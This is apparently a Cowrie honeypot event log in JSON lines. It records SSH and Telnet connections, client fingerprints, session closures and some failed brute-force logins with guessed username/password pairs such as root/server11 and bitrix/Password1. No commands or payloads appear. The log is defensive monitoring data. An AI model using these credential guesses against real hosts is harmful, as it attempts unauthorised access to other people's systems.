{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:24.452715Z","src_ip":"41.86.34.139","session":"b6cf292de18d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123321","message":"login attempt [user1/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:25.318914Z","src_ip":"41.86.34.139","session":"b6cf292de18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":47446,"dst_ip":"159.203.135.109","dst_port":23,"session":"c68c0777205c","protocol":"telnet","message":"New connection: 148.230.134.28:47446 (159.203.135.109:23) [session: c68c0777205c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:25.470297Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":47448,"dst_ip":"159.203.135.109","dst_port":23,"session":"843297a06ff9","protocol":"telnet","message":"New connection: 148.230.134.28:47448 (159.203.135.109:23) [session: 843297a06ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:25.768786Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34816,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba129481b74","protocol":"telnet","message":"New connection: 137.184.155.248:34816 (10.17.0.5:23) [session: 1ba129481b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:26.025512Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:26.529894Z","src_ip":"41.86.34.139","session":"b6cf292de18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":47466,"dst_ip":"159.203.135.109","dst_port":23,"session":"df256279e652","protocol":"telnet","message":"New connection: 148.230.134.28:47466 (159.203.135.109:23) [session: df256279e652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:26.779586Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":47458,"dst_ip":"159.203.135.109","dst_port":23,"session":"97f78c6b3eef","protocol":"telnet","message":"New connection: 148.230.134.28:47458 (159.203.135.109:23) [session: 97f78c6b3eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:26.784628Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34828,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c3ac27beac","protocol":"telnet","message":"New connection: 137.184.155.248:34828 (10.17.0.5:23) [session: 73c3ac27beac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:27.692534Z"}
{"eventid":"cowrie.session.closed","duration":31.314924240112305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:28.058273Z","src_ip":"148.230.134.28","session":"af5a01f55e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.85462999343872,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:28.754789Z","src_ip":"148.230.134.28","session":"ca4233f0bfd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":44199,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f36d390a91","protocol":"ssh","message":"New connection: 103.86.180.10:44199 (159.203.135.109:22) [session: 96f36d390a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:29.316409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:29.320667Z","src_ip":"103.86.180.10","session":"96f36d390a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:29.514809Z","src_ip":"103.86.180.10","session":"96f36d390a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server11","message":"login attempt [root/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:30.327001Z","src_ip":"103.86.180.10","session":"96f36d390a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.98877429962158,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:31.367691Z","src_ip":"148.230.134.28","session":"ff1b57dedd73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:31.530089Z","src_ip":"103.86.180.10","session":"96f36d390a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.0215277671814,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:35.832791Z","src_ip":"148.230.134.28","session":"b549989ec66d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":45080,"dst_ip":"159.203.135.109","dst_port":23,"session":"57383688aca2","protocol":"telnet","message":"New connection: 148.230.134.28:45080 (159.203.135.109:23) [session: 57383688aca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:36.863757Z"}
{"eventid":"cowrie.session.closed","duration":35.059565782547,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:37.308220Z","src_ip":"148.230.134.28","session":"51eb3ef285b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.045360803604126,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:37.898103Z","src_ip":"148.230.134.28","session":"ee655d2de454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":45088,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6b08db4d02","protocol":"telnet","message":"New connection: 148.230.134.28:45088 (159.203.135.109:23) [session: 4a6b08db4d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:38.373683Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":45084,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1821212cb4","protocol":"telnet","message":"New connection: 148.230.134.28:45084 (159.203.135.109:23) [session: 9b1821212cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:38.379131Z"}
{"eventid":"cowrie.session.closed","duration":120.0069510936737,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:41.972563Z","src_ip":"148.230.134.28","session":"d9e3a6921987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":37196,"dst_ip":"10.17.0.5","dst_port":22,"session":"d201eb209b4a","protocol":"ssh","message":"New connection: 186.4.240.226:37196 (10.17.0.5:22) [session: d201eb209b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:44.132248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:44.137125Z","src_ip":"186.4.240.226","session":"d201eb209b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:44.225683Z","src_ip":"186.4.240.226","session":"d201eb209b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.1381196975708,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:44.330643Z","src_ip":"148.230.134.28","session":"60c194f93d3d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud!123","message":"login attempt [root/Cloud!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:44.604726Z","src_ip":"186.4.240.226","session":"d201eb209b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37062,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d01898a28f4","protocol":"telnet","message":"New connection: 137.184.155.248:37062 (10.17.0.5:23) [session: 7d01898a28f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:45.331340Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:45.693185Z","src_ip":"186.4.240.226","session":"d201eb209b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.80707335472107,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:46.272974Z","src_ip":"148.230.134.28","session":"3b129497718a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.617553234100342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:47.386198Z","src_ip":"148.230.134.28","session":"9d00279c68fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":32948,"dst_ip":"159.203.135.109","dst_port":22,"session":"0695f57dc2fb","protocol":"ssh","message":"New connection: 72.253.251.7:32948 (159.203.135.109:22) [session: 0695f57dc2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:47.916675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:47.922850Z","src_ip":"72.253.251.7","session":"0695f57dc2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:48.039920Z","src_ip":"72.253.251.7","session":"0695f57dc2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.36532664299011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:48.217587Z","src_ip":"148.230.134.28","session":"fe7e92c67e36","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"Password1","message":"login attempt [bitrix/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:48.538288Z","src_ip":"72.253.251.7","session":"0695f57dc2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.96353006362915,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:48.776118Z","src_ip":"148.230.134.28","session":"64f10a26ad7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.01892352104187,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:48.780984Z","src_ip":"148.230.134.28","session":"43ea99d9f411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:49.658146Z","src_ip":"72.253.251.7","session":"0695f57dc2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":56040,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6aa71f0853","protocol":"ssh","message":"New connection: 202.125.94.71:56040 (159.203.135.109:22) [session: 6b6aa71f0853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:51.022549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:51.026984Z","src_ip":"202.125.94.71","session":"6b6aa71f0853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:51.290787Z","src_ip":"202.125.94.71","session":"6b6aa71f0853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password1234","message":"login attempt [user/Password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:52.373371Z","src_ip":"202.125.94.71","session":"6b6aa71f0853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:53.639290Z","src_ip":"202.125.94.71","session":"6b6aa71f0853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.41339325904846,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:54.325154Z","src_ip":"148.230.134.28","session":"953892c6e064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.533859968185425,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:57.462593Z","src_ip":"148.230.134.28","session":"bf1f78a718d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.755815982818604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:29:58.540342Z","src_ip":"148.230.134.28","session":"97f78c6b3eef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.549219608306885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:00.019347Z","src_ip":"148.230.134.28","session":"c68c0777205c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.926398277282715,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:13.618783Z","src_ip":"137.184.155.248","session":"73c3ac27beac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":56112,"dst_ip":"159.203.135.109","dst_port":23,"session":"df355e45a706","protocol":"telnet","message":"New connection: 148.230.134.28:56112 (159.203.135.109:23) [session: df355e45a706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:13.858079Z"}
{"eventid":"cowrie.session.closed","duration":88.38148975372314,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:14.384244Z","src_ip":"148.230.134.28","session":"7b7161c0a0cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.0232994556427,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:15.048695Z","src_ip":"137.184.155.248","session":"1ba129481b74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.49220204353333,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:25.682630Z","src_ip":"148.230.134.28","session":"072368ba2903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":45532,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed8c62a4a2a4","protocol":"telnet","message":"New connection: 148.230.134.28:45532 (159.203.135.109:23) [session: ed8c62a4a2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:26.881603Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":38130,"dst_ip":"10.17.0.5","dst_port":22,"session":"b69d503770aa","protocol":"ssh","message":"New connection: 41.86.34.139:38130 (10.17.0.5:22) [session: b69d503770aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:29.609203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:30:29.614182Z","src_ip":"41.86.34.139","session":"b69d503770aa","protocol":"ssh"}
